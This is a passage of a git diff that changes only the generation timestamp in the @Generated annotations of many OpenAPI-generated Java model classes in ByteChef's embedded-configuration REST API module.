+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateIntegrationInstanceConfigurationWorkflowJob200ResponseModel {
 
   private @Nullable Long jobId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CredentialStatusModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CredentialStatusModel.java
index 8848f730e4f..2a14f14424e 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CredentialStatusModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/CredentialStatusModel.java
@@ -20,7 +20,7 @@
  * Gets or Sets credential_status
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum CredentialStatusModel {
   
   VALID("VALID"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/EnvironmentModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/EnvironmentModel.java
index f4bc18a0a2b..031031b77d8 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/EnvironmentModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/EnvironmentModel.java
@@ -20,7 +20,7 @@
  * The environment of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum EnvironmentModel {
   
   DEVELOPMENT("DEVELOPMENT"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationBasicModel.java
index 3ab460a52ee..161e9f8ea7d 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationBasicModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationBasic", description = "A group of workflows that make one logical integration.")
 @JsonTypeName("IntegrationBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationBasicModel {
 
   private String componentName;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceBasicModel.java
index a3458932573..788663994e9 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceBasicModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "IntegrationInstanceBasic", description = "Contains configurations and connections required for the execution of integration workflows for a connected user.")
 @JsonTypeName("IntegrationInstanceBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceBasicModel {
 
   private Long connectionId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationBasicModel.java
index 198111831e6..e5b8240a74b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationBasicModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationInstanceConfigurationBasic", description = "Contains configurations and connections required for the execution of integration workflows.")
 @JsonTypeName("IntegrationInstanceConfigurationBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceConfigurationBasicModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationModel.java
index 0a44263a1f6..83823e3623f 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationModel.java
@@ -34,7 +34,7 @@
 
 @Schema(name = "IntegrationInstanceConfiguration", description = "Contains configurations and connections required for the execution of integration workflows.")
 @JsonTypeName("IntegrationInstanceConfiguration")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceConfigurationModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowConnectionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowConnectionModel.java
index 9262ebab051..1c7361134af 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowConnectionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowConnectionModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "IntegrationInstanceConfigurationWorkflowConnection", description = "The connection used in a particular task or trigger.")
 @JsonTypeName("IntegrationInstanceConfigurationWorkflowConnection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceConfigurationWorkflowConnectionModel {
 
   private @Nullable Long connectionId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowModel.java
index f08931b2f4b..d50a7998328 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceConfigurationWorkflowModel.java
@@ -30,7 +30,7 @@
 
 @Schema(name = "IntegrationInstanceConfigurationWorkflow", description = "Contains configuration and connections required for the execution of a particular integration workflow.")
 @JsonTypeName("IntegrationInstanceConfigurationWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceConfigurationWorkflowModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceModel.java
index da806199b1c..9f9985d843e 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceModel.java
@@ -29,7 +29,7 @@
 
 @Schema(name = "IntegrationInstance", description = "Contains configurations and connections required for the execution of integration workflows for a connected user.")
 @JsonTypeName("IntegrationInstance")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceModel {
 
   private Long connectionId;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceWorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceWorkflowModel.java
index f29e2b54277..c55fb6005fd 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceWorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationInstanceWorkflowModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationInstanceWorkflow", description = "Contains user configurations for the execution of a particular integration workflow.")
 @JsonTypeName("IntegrationInstanceWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationInstanceWorkflowModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationModel.java
index 27e75024c72..9c3dbc452a7 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationModel.java
@@ -31,7 +31,7 @@
 
 @Schema(name = "Integration", description = "A group of workflows that make one logical integration.")
 @JsonTypeName("Integration")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationModel {
 
   private String componentName;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationStatusModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationStatusModel.java
index e14e02ea31d..2d25d7e871b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationStatusModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationStatusModel.java
@@ -20,7 +20,7 @@
  * The status of an integration.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum IntegrationStatusModel {
   
   DRAFT("DRAFT"),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationVersionModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationVersionModel.java
index e824a750f19..7378274ec82 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationVersionModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/IntegrationVersionModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "IntegrationVersion", description = "The integration version.")
 @JsonTypeName("IntegrationVersion")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class IntegrationVersionModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishConnectedUserProjectWorkflowRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishConnectedUserProjectWorkflowRequestModel.java
index 9b4415988c5..9e4d882f424 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishConnectedUserProjectWorkflowRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishConnectedUserProjectWorkflowRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("publishConnectedUserProjectWorkflow_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class PublishConnectedUserProjectWorkflowRequestModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishIntegrationRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishIntegrationRequestModel.java
index 437e440a075..d4e0a25e314 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishIntegrationRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/PublishIntegrationRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("publishIntegration_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class PublishIntegrationRequestModel {
 
   private @Nullable String description;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
index 148e9679ea5..770b030243c 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("startWebhookTriggerTest_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class StartWebhookTriggerTest200ResponseModel {
 
   private @Nullable String webhookUrl;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/TagModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/TagModel.java
index adbdecb69af..4cb3cb16ea7 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/TagModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/TagModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Tag", description = "A tag.")
 @JsonTypeName("Tag")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class TagModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateConnectionRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateConnectionRequestModel.java
index eac7fae0f5a..d009fd8f996 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateConnectionRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateConnectionRequestModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "UpdateConnectionRequest", description = "Contains all connection parameters that can be updated.")
 @JsonTypeName("UpdateConnectionRequest")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateConnectionRequestModel {
 
   private String name;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateTagsRequestModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateTagsRequestModel.java
index a5ef4507a4e..0688dd9a44a 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateTagsRequestModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/UpdateTagsRequestModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "UpdateTagsRequest", description = "The request object that contains the array of tags.")
 @JsonTypeName("UpdateTagsRequest")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class UpdateTagsRequestModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/Workflow1Model.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/Workflow1Model.java
index b66814baa69..a8cac3ef77b 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/Workflow1Model.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/Workflow1Model.java
@@ -32,7 +32,7 @@
 
 @Schema(name = "Workflow_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("Workflow_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class Workflow1Model implements com.bytechef.platform.configuration.web.rest.model.WorkflowModelAware {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasic1Model.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasic1Model.java
index 88a3a1c8aac..6b7a76ef172 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasic1Model.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasic1Model.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowBasic1Model {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasicModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasicModel.java
index 416e055bdab..a5699e45868 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasicModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowBasicModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic")
